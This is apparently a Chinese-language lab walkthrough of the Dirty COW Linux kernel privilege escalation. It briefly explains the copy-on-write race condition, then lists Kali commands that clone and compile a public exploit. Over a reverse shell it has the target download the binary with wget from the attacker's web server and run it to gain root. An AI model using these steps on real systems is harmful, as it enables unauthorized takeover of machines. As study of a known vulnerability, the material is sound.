漏洞原理(脏牛)
Linux内核的内存子系统在处理写入时复制时产生了竞争条件(指的是任务执行顺序异常,导致应用崩溃或者使得攻击者利用其漏洞进一步执行其他代码,最终攻击者可对其目标进行提权获得root权限)
提权
下载EXP
┌──(root㉿kali)-[~]
└─# git clone https://github.com/firefart/dirtycow.git
┌──(root㉿kali)-[~]
└─# ls
Desktop dirtycow Documents Downloads jdk1.8.0_202 Music Pictures Public Templates Video
┌──(root㉿kali)-[~]
└─# cd dirtycow
┌──(root㉿kali)-[~/dirtycow]
└─# ls
dirty.c README.md
gcc编译
┌──(root㉿kali)-[~/dirtycow]
└─# gcc -pthread dirty.c -o dirty -lcrypt #使用gcc编译 -o意思是生成dirty文件
┌──(root㉿kali)-[~/dirtycow]
└─# ls
dirty dirty.c README.md
设置执行权限
┌──(root㉿kali)-[~/dirtycow]
└─# chmod +x dirty
本地开启web服务便于将本地编译好的dirty文件传到目标机中
┌──(root㉿kali)-[~/dirtycow]
└─# systemctl start apache2.service
通过反弹的Shell将攻击机编译的dirty下载到目标机
$ cd /tmp
$ pwd
/tmp
$ wget http://10.10.10.128/dirty
--2022-10-21 03:02:29-- http://10.10.10.128/dirty
Connecting to 10.10.10.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17512 (17K)
Saving to: 'dirty'
0K .......... ....... 100% 51.0M=0s
2022-10-21 03:02:29 (51.0 MB/s) - 'dirty' saved [17512/17512]
$ ls
dirty
权限提升获取系统管理员权限和密码
$ ./dirty ggbond # ./dirty+自定义密码 执行dirty完成提权获取系统登录信息
最后才是真正获取到系统后台权限